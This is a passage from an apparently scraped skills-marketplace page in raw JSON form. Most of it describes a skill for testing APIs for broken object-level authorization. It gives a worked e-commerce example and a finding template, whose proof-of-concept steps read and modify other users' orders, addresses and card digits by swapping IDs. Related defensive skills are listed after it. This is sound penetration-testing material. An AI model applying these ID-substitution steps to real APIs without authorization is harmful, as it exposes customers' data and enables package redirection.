e-commerce platform exposes a REST API for its mobile app. The API uses sequential integer IDs for orders, users, and addresses. Two test accounts are provided: a regular customer (User A, ID 1001) and another customer (User B, ID 1002).\n\n**Approach**:\n1. Map all endpoints from the Swagger spec at `\u002Fapi\u002Fdocs`: identify 47 endpoints, 23 of which take object IDs\n2. Capture User A's requests for their own resources: profile, orders, addresses, payment methods, wishlist\n3. Replace User A's object IDs with User B's IDs systematically across all 23 endpoints\n4. Find that `GET \u002Fapi\u002Fv1\u002Forders\u002F{id}` returns any order regardless of ownership (BOLA on read)\n5. Find that `PATCH \u002Fapi\u002Fv1\u002Faddresses\u002F{id}` allows modifying any user's address (BOLA on write)\n6. Find that `GET \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Fpayment-methods` leaks payment card last-four digits for any user\n7. Test batch endpoint `POST \u002Fapi\u002Fv1\u002Forders\u002Fexport` - accepts array of order IDs and exports all without ownership check\n8. Verify that `DELETE \u002Fapi\u002Fv1\u002Forders\u002F{id}` correctly returns 403 for non-owned orders (authorization enforced)\n\n**Pitfalls**:\n- Only testing GET requests and missing BOLA in PUT\u002FPATCH\u002FDELETE methods that allow data modification or destruction\n- Assuming UUIDs prevent BOLA - UUIDs are less predictable but can be leaked in API responses, logs, or URL parameters\n- Not testing nested resource paths where authorization may be checked on the parent but not the child resource\n- Missing BOLA in bulk\u002Fbatch endpoints that accept arrays of object IDs\n- Not considering that different API versions (v1 vs v2) may have different authorization implementations\n\n## Output Format\n\n```\n## Finding: Broken Object Level Authorization in Order API\n\n**ID**: API-BOLA-001\n**Severity**: High (CVSS 7.5)\n**OWASP API**: API1:2023 - Broken Object Level Authorization\n**Affected Endpoints**:\n  - GET \u002Fapi\u002Fv1\u002Forders\u002F{id}\n  - PATCH \u002Fapi\u002Fv1\u002Faddresses\u002F{id}\n  - GET \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Fpayment-methods\n  - POST \u002Fapi\u002Fv1\u002Forders\u002Fexport\n\n**Description**:\nThe API does not enforce object-level authorization on order retrieval,\naddress modification, payment method viewing, or order export endpoints.\nAn authenticated user can access or modify any other user's resources by\nsubstituting object IDs in the request. Sequential integer IDs make\nenumeration trivial.\n\n**Proof of Concept**:\n1. Authenticate as User A (ID 1001): POST \u002Fapi\u002Fv1\u002Fauth\u002Flogin\n2. Retrieve User A's order: GET \u002Fapi\u002Fv1\u002Forders\u002F5001 -> 200 OK (legitimate)\n3. Access User B's order: GET \u002Fapi\u002Fv1\u002Forders\u002F5003 -> 200 OK (BOLA - returns full order details)\n4. Modify User B's address: PATCH \u002Fapi\u002Fv1\u002Faddresses\u002F2002 -> 200 OK (BOLA - address changed)\n\n**Impact**:\n- Read access to all 850,000+ customer orders including shipping addresses and order contents\n- Write access to any customer's delivery address, enabling package redirection\n- Exposure of partial payment card data for all customers\n\n**Remediation**:\n1. Implement object-level authorization middleware that verifies the authenticated user owns the requested resource\n2. Use authorization checks at the data access layer: `WHERE order.user_id = authenticated_user.id`\n3. Replace sequential integer IDs with UUIDs to reduce predictability (defense in depth, not a fix alone)\n4. Add authorization tests to the CI\u002FCD pipeline for every endpoint that accepts object IDs\n5. Implement rate limiting per user to slow enumeration attempts\n```\n",{"name":5,"tags":54,"author":55,"domain":47,"license":16,"version":56,"nist_csf":57,"subdomain":43,"description":62,"mitre_attack":63},[43,42,39,38,33,36],"mahipal","1.0.0",[58,59,60,61],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","Tests REST and GraphQL APIs for Broken Object Level Authorization (BOLA\u002FIDOR, OWASP API1:2023) by intercepting API calls, identifying object ID parameters (numeric IDs, UUIDs, slugs), and systematically substituting IDs belonging to other users to check whether the server enforces per-object authorization. Use when asked to test BOLA or IDOR in an API, verify object-level authorization, or assess an API for access control bypass.\n",[64,65,66,67,68],"T1190","T1059.007","T1552.001","T1027","T1070","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Ftesting-api-for-broken-object-level-authorization",4425,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":9,"skillName":5,"commands":80,"prompt":90,"zipAvailable":91},[81,84,87],{"tool":82,"command":83},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-api-for-broken-object-level-authorization",{"tool":85,"command":86},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-api-for-broken-object-level-authorization",{"tool":88,"command":89},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-api-for-broken-object-level-authorization","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-api-for-broken-object-level-authorization\u002FSKILL.md",true,[93,98,104],{"path":94,"resourceType":94,"resourceTypeDesc":95,"sizeBytes":96,"sourceHtmlUrl":97},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-api-for-broken-object-level-authorization\u002FLICENSE",{"path":99,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":102,"sourceHtmlUrl":103},"references\u002Fapi-reference.md","REFERENCE","参考文档",1844,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-api-for-broken-object-level-authorization\u002Freferences\u002Fapi-reference.md",{"path":105,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":108,"sourceHtmlUrl":109},"scripts\u002Fagent.py","SCRIPT","脚本",8378,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-api-for-broken-object-level-authorization\u002Fscripts\u002Fagent.py",[111,141,170,201,232,263],{"skillNo":112,"name":113,"nameZh":114,"description":115,"descriptionZh":116,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":117,"categories":118,"keywords":123,"publishedAt":49},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","SLSA 构建来源验证","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","使用 Sigstore 的 cosign（verify、verify-attestation、verify-blob-attestation）和 slsa-verifier（verify-artifact）验证工件签名和 SLSA 来源（provenance），强制校验 keyless OIDC 构建者身份和源仓库是否符合 SLSA Build 级别。适用于 CI\u002FCD 中部署工件前、消费第三方证明时、建立 SLSA Build L3 管道，或在事件响应或准入控制期间确认来源的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[119,120],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":121,"categoryName":122,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C32Q37WAMK06SGMFC02VFP","软件供应链安全",[124,125,126,127,48,47,128,129,45,130,131,132,133,134,135,136,137,138,139,140],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":142,"name":143,"nameZh":144,"description":145,"descriptionZh":146,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":147,"categories":148,"keywords":153,"publishedAt":49},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","TPM 测量启动验证","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","使用 tpm2-tools 验证 TPM 2.0 测量启动（measured boot）的完整性和远程证明：读取 PCR（tpm2_pcrread）、重放启动事件日志、生成并检查签名报价（tpm2_quote\u002Ftpm2_checkquote），以及将机密封印（seal）到 PCR 策略。适用于确认系统已启动可信固件\u002F内核以实现零信任（Zero Trust）设备状态、通过 PCR 漂移检测启动链篡改，或构建黄金值基线用于机群（fleet）证明。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[149,150],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":151,"categoryName":152,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C89JJEXGGRGHS6XVXDA46K","终端安全加固",[154,137,155,156,48,157,47,45,158,159,160,161,162,163,164,165,166,167,168,169],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":171,"name":172,"nameZh":173,"description":174,"descriptionZh":175,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":176,"categories":177,"keywords":184,"publishedAt":49},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","备份完整性验证","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","通过加密哈希验证、自动化恢复测试、损坏检测和可恢复性检查来验证备份完整性，确认备份对于灾难恢复和勒索软件响应是可靠的。适用于在依赖备份进行恢复之前、构建备份后验证管道、审计备份基础设施以满足合规要求，或检查不可变\u002Fair-gapped（气隙）备份是否存在静默损坏或篡改的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[178,181],{"categoryNo":179,"categoryName":180,"taxonomyType":23,"taxonomyTypeDesc":24},"01M8BQGD4WETX0HM3SM9QKQ15B","SRE 工程师",{"categoryNo":182,"categoryName":183,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BSSTY86MWS6W5GDQWB1ADQ","备份与灾难恢复",[164,185,186,187,34,47,188,189,158,190,191,192,193,194,195,196,197,198,199,200],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":202,"name":203,"nameZh":204,"description":205,"descriptionZh":206,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":207,"categories":208,"keywords":213,"publishedAt":49},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","KAPE Windows 取证收集","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","运行 KAPE（Kroll Artifact Parser and Extractor），通过 Targets 收集目标取证工件（注册表配置单元、$MFT、事件日志、prefetch、浏览器数据），并使用封装 Eric Zimmerman 的 EZ Tools（PECmd、MFTECmd、RECmd）的 Modules 进行解析。适用于事件遏制\u002F分诊早期阶段——此时完整磁盘镜像不切实际，但需要快速获得可采信、可解析的 Windows 工件集，包括大规模远程收集。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[209,210],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":211,"categoryName":212,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C9JZH3GWXPJ6CQG5P7J48Y","数字取证与电子证据分析",[214,215,216,47,217,218,219,220,221,222,223,224,225,226,227,228,161,229,230,231],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":233,"name":234,"nameZh":235,"description":236,"descriptionZh":237,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":238,"categories":239,"keywords":244,"publishedAt":49},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","SSVC 漏洞优先级分诊","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","使用 CISA 的 Stakeholder-Specific Vulnerability Categorization（SSVC，利益相关方特定漏洞分类）决策树对漏洞进行分诊和优先级排序，权衡利用状态（通过 CISA KEV 目录和 FIRST EPSS API）、技术影响、自动化程度和任务普遍性，输出 Track\u002FTrack*\u002FAttend\u002FAct 决策。适用于对漏洞扫描结果（OpenVAS、Nessus、Qualys）进行优先级排序以制定修复计划，而不局限于原始 CVSS 分数的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[240,243],{"categoryNo":241,"categoryName":242,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BQV98CYQ7TEW2D1MRQ00TE","安全公告与漏洞管理",{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},[245,246,247,47,248,249,250,251,252,253,254,255,256,257,258,259,32,260,261,262],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","prioritization","ssvc","decision-tree",{"skillNo":264,"name":265,"nameZh":266,"description":267,"descriptionZh":268,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":269,"categories":270,"keywords":275,"publishedAt":49},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","安全事件初步分诊","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","使用 NIST SP 800-61r3 和 SANS PICERL 框架对安全事件进行初步分诊，分类事件类型、按业务影响分配优先级，并路由到相应的响应团队。适用于 SIEM\u002FEDR 告警需要人工分类、并发告警必须确定优先级，或用户报告或威胁情报 IOC 匹配需要初步事件分类的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[271,272],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":273,"categoryName":274,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BTHYSJPJ500X64JJ5CH06D","安全事件响应与威胁狩猎",[48,276,47,277,278,279,280,281,282,283,284,196,285,197,286,287,288,289,290,291],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]